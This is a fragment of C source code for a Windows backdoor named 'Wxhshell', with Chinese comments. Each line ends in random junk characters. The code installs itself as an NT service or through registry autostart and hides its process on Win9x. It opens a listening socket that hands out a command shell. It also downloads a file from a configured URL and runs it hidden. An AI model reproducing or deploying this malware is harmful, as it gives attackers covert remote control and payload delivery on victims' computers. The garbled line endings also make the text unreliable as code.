DWORD BasePriority; GrTulN?
ULONG UniqueProcessId; H}H7lO
ULONG InheritedFromUniqueProcessId; {X[ HCfJd
} PROCESS_BASIC_INFORMATION; ;zYqsS
8E4mA5@
PROCNTQSIP NtQueryInformationProcess; _UT$,0u_i
H(Q.a=&4!p
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2*N_5&9mE
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^S)cjH`P
>~`r:0',
HANDLE hProcess; -0_d/'d
PROCESS_BASIC_INFORMATION pbi; >[Ye
j:,NE(DF
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .[Ap=UYI>
if(NULL == hInst ) return 0; mk3_
n @?4b8"
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OKi\zS
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f m(e3]
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z81esXl
9_QP !,
if (!NtQueryInformationProcess) return 0; j:}D Bk
`u.t[
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QT9n,lX
if(!hProcess) return 0; etoo
#h"]1
Qc[3Fq,f
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kKPi:G52F
H*bs31i{
CloseHandle(hProcess); {tThy#
jS;J:$>^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "Tm[t?FMbe
if(hProcess==NULL) return 0; #U*_1P0h
zNY)'
HMODULE hMod; <\0vR20/
char procName[255]; }lK3-2Pk
unsigned long cbNeeded; $5v0m#[^
.`7cBsXH
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,jC3Fcly
+rIL|c}J
CloseHandle(hProcess); ]uspx[UIc
7},)]da>,'
if(strstr(procName,"services")) return 1; // 以服务启动 3:{yJdpg
-QyhwG=
return 0; // 注册表启动 ?x^z]N|P
} uNn[[LS
<" @zn
// 主模块 $!5\E>y#
int StartWxhshell(LPSTR lpCmdLine) EwS!]h?
{ U:MPgtwe
SOCKET wsl; S!PzLTc
BOOL val=TRUE; .XkMk|t8
int port=0; $7QoMV 8V
struct sockaddr_in door; /)xlJUq
-k(CJ5H9
if(wscfg.ws_autoins) Install(); GabYfUkO
.[u>V
port=atoi(lpCmdLine); &20P,8@
U!XS;a)
if(port<=0) port=wscfg.ws_port; 0aoHKeP
v|ox!0:#
WSADATA data; 3x~{QG5Gn
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _SACqamo5s
M(d6Z2ibh
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; M0|'f'
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LkLN7|
door.sin_family = AF_INET; KOg?FmD
door.sin_addr.s_addr = inet_addr("127.0.0.1"); kkvtB<<Y
door.sin_port = htons(port); CSV;+,Vv
y fSM
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dr{y0`CCN
closesocket(wsl); #k<":O
return 1; VR!-%H\AW
} D;Gq)]O
xsjO)))f
if(listen(wsl,2) == INVALID_SOCKET) { j5Un1
closesocket(wsl); PuxK?bwC
return 1; *n(> ^
} F8e<}v&7R
Wxhshell(wsl); mL~z~w*s
WSACleanup(); XT,#g-oi
nK3k]gLc{
return 0; e75UMWaeC
TP1S[`nR
} i`)!X:j
qQ7w&9r.M
// 以NT服务方式启动 U-0#0} _
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o2-@o= F
{ +:6Ii9GN
DWORD status = 0; +*&cz
DWORD specificError = 0xfffffff; gQ~5M'#
'f/Lv@]a
serviceStatus.dwServiceType = SERVICE_WIN32; 1Q}mf !Y
serviceStatus.dwCurrentState = SERVICE_START_PENDING; RV-h IdAU
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r^HAa GpC
serviceStatus.dwWin32ExitCode = 0; j1Yq5`ia
serviceStatus.dwServiceSpecificExitCode = 0; vMSW$Bx ;
serviceStatus.dwCheckPoint = 0; v_PdOp[
k
serviceStatus.dwWaitHint = 0; BbJkdt7
l{P\No
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (}!C4S3#
if (hServiceStatusHandle==0) return; Snf"z8sw
_-cK{
status = GetLastError(); <c,~aq#W'
if (status!=NO_ERROR) P\~{3U
{ )_jSG5k
serviceStatus.dwCurrentState = SERVICE_STOPPED; t~K%.|'0
serviceStatus.dwCheckPoint = 0; i cUT<@0
serviceStatus.dwWaitHint = 0; Aj"7q
serviceStatus.dwWin32ExitCode = status; "oc$
serviceStatus.dwServiceSpecificExitCode = specificError; 4ax|Vb)D
SetServiceStatus(hServiceStatusHandle, &serviceStatus); OCyG_DLT$5
return; /jD-\,:L}
} 7CvD'QW /
['X[qn
serviceStatus.dwCurrentState = SERVICE_RUNNING; Yq'4e[i
serviceStatus.dwCheckPoint = 0; 96|[}:+$&:
serviceStatus.dwWaitHint = 0; va{#RnU
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P-z`c\Rt
} `U`#I,Ln[
Mpx/S<Z
// 处理NT服务事件,比如:启动、停止 u@ N~1@RT|
VOID WINAPI NTServiceHandler(DWORD fdwControl) V+B71\x<
{ L&w.j0fq
switch(fdwControl) }HZ{(?
{ :.IN?X
case SERVICE_CONTROL_STOP: sy<iKCM\
serviceStatus.dwWin32ExitCode = 0; )Id2GV~2B
serviceStatus.dwCurrentState = SERVICE_STOPPED; setLdEi
serviceStatus.dwCheckPoint = 0; #V 43=
serviceStatus.dwWaitHint = 0; c{88m/;eP
{ [e"RTTRfZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y_H/3?b%
} p!"(s/=
return; oK Kz 4
case SERVICE_CONTROL_PAUSE: rFd@mO
serviceStatus.dwCurrentState = SERVICE_PAUSED; `bP?o
break; LM,fwAX
case SERVICE_CONTROL_CONTINUE: -zC]^Ho@
serviceStatus.dwCurrentState = SERVICE_RUNNING; >BiRk%x
break; E/O5e(h
case SERVICE_CONTROL_INTERROGATE: 79ZxqvB\
break; 3VP $x@AV
}; Cd~LsdKE5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /7p>7q9g
} #8?^C]*{0
yq*JdTF
// 标准应用程序主函数 /t{=8v~
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sc xLB;
{ xXOw:A'
+i)AS0?d
// 获取操作系统版本 yh!B!v'
OsIsNt=GetOsVer(); ~%P3Pp
GetModuleFileName(NULL,ExeFile,MAX_PATH); /2w@K_Px6
C_-E4I
Z)
// 从命令行安装 BJIQ
zn3
if(strpbrk(lpCmdLine,"iI")) Install(); >UN vkQ:
JD&U}dJ
// 下载执行文件
|Ylg$?,9*
if(wscfg.ws_downexe) { 3]S`|#J
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,>S+-L8
WinExec(wscfg.ws_filenam,SW_HIDE); ak2dn]]D
} *<dHqK`?C
eBvW#Hzp
if(!OsIsNt) { 9HKf^+';n
// 如果时win9x,隐藏进程并且设置为注册表启动 pzSqbgfrQ
HideProc(); {G.jB/
StartWxhshell(lpCmdLine); ,aO@.<"
} =h[yAf
else A;t
zRe
if(StartFromService()) 85C#ja1&